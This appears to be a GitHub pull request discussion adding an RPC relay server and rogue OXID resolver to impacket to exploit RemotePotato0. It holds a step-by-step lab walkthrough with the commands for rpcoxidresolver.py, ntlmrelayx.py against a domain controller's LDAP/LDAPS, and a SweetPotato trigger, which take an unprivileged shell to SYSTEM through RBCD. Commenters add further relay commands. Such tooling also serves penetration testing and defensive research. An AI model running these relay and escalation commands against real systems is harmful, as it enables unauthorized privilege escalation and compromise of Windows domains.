Adding rpc relay server and rogue oxid resolver for exploiting RemotePotat0

[MrAle98]

The remotePotat0 exploit, by @splinter_code and @decoder_it, triggers an NTLM authentication attempt from a computer account (or a domain admin user if logged on) towards an RPC endpoint. Then NTLM messages are encapsulated in HTTP and then are forwarded to ntlmrelayx http server that relays the messages to a given target.

More information about the exploit can be found here:

• https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
• https://pentestlab.blog/2021/05/04/remote-potato-from-domain-user-to-enterprise-admin/

The POC here https://github.com/antonioCoco/RemotePotato0 implements an oxid resolver that is required in order to trigger the authentication towards an RPC server controlled by the attacker. It also implement the RPC server that receives the messages and then encapsulate them in HTTP requests that are forwarded to ntlmrelayx.

With this PR the oxid resolver and an RPC relay server are directly implemented in impacket, in order to not require to start any server on the victim machine, but only trigger the authentication. For this reason the trigger was added to the SweetPotato tool, and can be found at this fork: https://github.com/MrAle98/SweetPotato Most of the code for the RPC relay server was taken from here https://gist.github.com/Gilks/0fc75929faba704c05143b01f34c291b and then adapted.

Here a use case. The attacker has an unprivileged shell on the victim and the authentication will be relayed to the LDAPS service running on the DC in order to elevate privileges on the victim machine.

domain controller: WIN-ICSQJ44N1F3.contoso.local (192.168.161.15) (Windows Server 2019) victim: DESKTOP-URP43TK.contoso.local (192.168.161.147) (Windows 10 pro build 19044) attacker: 192.168.161.154

Start oxid resolver on attacker machine, and specify to redirect victim to 192.168.161.154:9997 for NTLM authn: rpcoxidresolver.py -oip 192.168.161.154 -rip 192.168.161.154 -rport 9997

Start ntlmrealyx (starting RPC relay server on port 9997): ntlmrelayx.py -t ldaps://WIN-ICSQJ44N1F3.contoso.local --rpc-port 9997 --delegate-access

Triggering NTLM authn through sweetpotato.exe on victim machine: SweetPotato.exe -e 1 -oip 192.168.161.154 -c 42CBFAA7-A4A7-47BB-B422-BD10E9D02700

Oxid resolver redirects victim to rpc relay server:

NTLM authn relayed successfully:

After that it is possible with getST and psexec to obtain remote access to the victim as SYSTEM through RBCD.

I decided to implement it since It is a privilege escalation technique, that allows to obtain SYSTEM privileges on any machine for which the RBCD attack is possible, and the attacker doesn't need to have any special privilege, just a shell on the victim (neitherSeImpersonatePrivilege nor SeAssignPrimaryToken).

I've decided to introduce two different classes, under rpcrt, for MSRPCBind and MSRPCBindAck, called MSRPCRelayBind and MSRPCRelayBindAck in order to not mess with other tools.

N.B: It might be possible that the authentication won't be relayed successfully due to the CLSID. Some CLSIDs will trigger an NTLM authn with signing, (bad CLSIDs) will others without signing (good CLSIDs). Try a different CLSID in case It doesn't work the example provided. CLSIDs on a machine can be enumerated with this script: https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

N.B: Do not consider commits related to drop-the-mic. You will notice were reverted.

[T3KX]

Good job.

If I may make a suggestion, it would be nice to have the option to do --escalate-user over ldap instead of --delegate-access over ldaps for instance where there is no ldaps. As of now it does not complete.

Thanks

python3 ./ntlmrelayx.py -t ldap://dc1.root.local --rpc-port 9997 --escalate-user 'SWEET$'

python3 ./rpcoxidresolver.py -oip 192.168.2.102 -rip 192.168.2.102 -rport 9997

[MrAle98]

Hey @T3KX I've checked right now with my configuration and delegation rights were modified successfully even by relaying to ldap.

Here it is the command used to create the machine account test: New-MachineAccount -MachineAccount test -Credential Administrator

Could you first confirm that relaying to ldaps is working for you?

Edit: Try to re-run your ntlmrelayx command by adding the following flag: --delegate-access

[T3KX]

Hi @MrAle98

The error was on my side, I did not realize that --escalate-user needs also the --delegate-access flag to be present.

Thank you for the reply and please accept my apologies.

All works good !

[MrAle98]

No worries @T3KX, actually you made me discover a new feature of ntlmrelayx. So thanks to you :)

[jmbesnard]

Thanks for adding RPC ! Any plan on adding support for SPNEGO ? Could be of interest when you have services/appliances (e.g., Palo Alto firewalls) that make regular RPC calls (e.g., wmic or such) to workstations with admin privileges (to divert the call and relay it).

Cheers

[MrAle98]

Hey @jmbesnard currently I'm not thinking to add SPNEGO support. On the other hand I think would be nice to add to the rogue oxid resolver the possibility to specify an arbitrary SPN, in order to relay service tickets for the SPN specified, as highlighted in this research https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html . This would require to modify krbrelayx tool here: https://github.com/dirkjanm/krbrelayx.